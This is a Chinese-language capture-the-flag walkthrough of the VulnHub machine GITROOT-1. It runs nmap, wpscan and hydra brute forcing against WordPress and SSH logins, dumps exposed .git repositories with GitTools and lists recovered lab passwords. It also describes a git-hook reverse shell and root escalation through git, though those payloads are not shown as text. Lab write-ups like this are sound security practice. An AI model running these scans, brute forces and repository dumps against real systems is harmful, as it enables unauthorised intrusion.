考点:githack,githook
靶机链接:https://www.vulnhub.com/entry/gitroot-1,488/
环境配置
名称 | IP |
---|
Kali Linux | 10.0.2.24 |
GITROOT-1 | 10.0.2.37 |
初步打点
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| $ export rip=10.0.2.37
$ sudo nmap -v -A -p- $rip
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 bf:45:f6:b3:e3:ce:0c:69:18:5a:5b:27:e5:d3:9c:86 (RSA)
| 256 b5:d7:45:50:06:c4:e2:3c:28:52:b8:06:26:1f:de:b0 (ECDSA)
|_ 256 27:f0:d0:21:13:30:9c:5e:f0:70:a1:d8:5c:a7:8f:75 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.0.4
|_http-title: myblog! – Just another WordPress site
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open memcache?
| fingerprint-strings:
| RPCCheck:
|_ Unknown command
|
11211端口 memcache服务 未发现有用信息
WEB测试

编辑/etc/hosts
添加
1
| 10.0.2.37 wp.gitroot.vuln gitroot.vuln
|
wp.gitroot.vuln
访问http://wp.gitroot.vuln

wpscan
1
| $ wpscan --url http://wp.gitroot.vuln --api-token ******************************************* -e
|
未发现有用信息
同时开着爆破
1
| wpscan --url http://wp.gitroot.vuln/ -U beth -P /usr/share/wordlists/rockyou.txt -t 10
|
后面有突破以后也没爆出来密码,就停掉了
gobuster
只能看看是否有其他域名
1
| gobuster vhost -u gitroot.vuln -w /usr/share/dirb/wordlists/big.txt|grep 200
|

编辑/etc/hosts
添加 repo.gitroot.vuln
repo.gitroot.vuln

分别访问get.php
和set.php
无有用信息
dirsearch

存在.git
信息泄露
1
2
3
4
| $ git clone https://github.com/internetwache/GitTools
$ ./gitdumper.sh http://repo.gitroot.vuln/.git/ repo.gitroot.vuln
$ ./extractor.sh ../Dumper/repo.gitroot.vuln/ repo.gitroot.vuln
|
查看代码寻找有用信息

找到用户名pablo
密码ihjedpvqfe
登录失败
暴力破解
爆破pablo
用户的ssh登录密码
1
| $ hydra -l pablo -P /usr/share/wordlists/rockyou.txt -f 10.0.2.37 ssh
|
获得权限
pablo
因为rockyou字典扩增,原本很快可以爆破的密码,现在会时间极长。参考其他报告,这里可获得密码mastergitar
查看文件发现提示

beth
思路一
找到目录并开启web服务

继续上GitTools
1
2
| $ ./gitdumper.sh http://10.0.2.37:9000/.git/ auth
$ ./extractor.sh ../Dumper/auth auth
|
到auth目录本地查找有用信息

思路二


获得密码r3vpdmspqdb
查看home目录,获得三个用户名beth jen pablo
,二选一测试,发现用户名beth
密码r3vpdmspqdb
jen

查看目录权限

参考Pwning git: A Proof of Concept (PoC)

本地监听444端口,成功接收反弹shell



提权
上GTFOBins 看看git


成功获得root权限
最后修改于 2020-07-03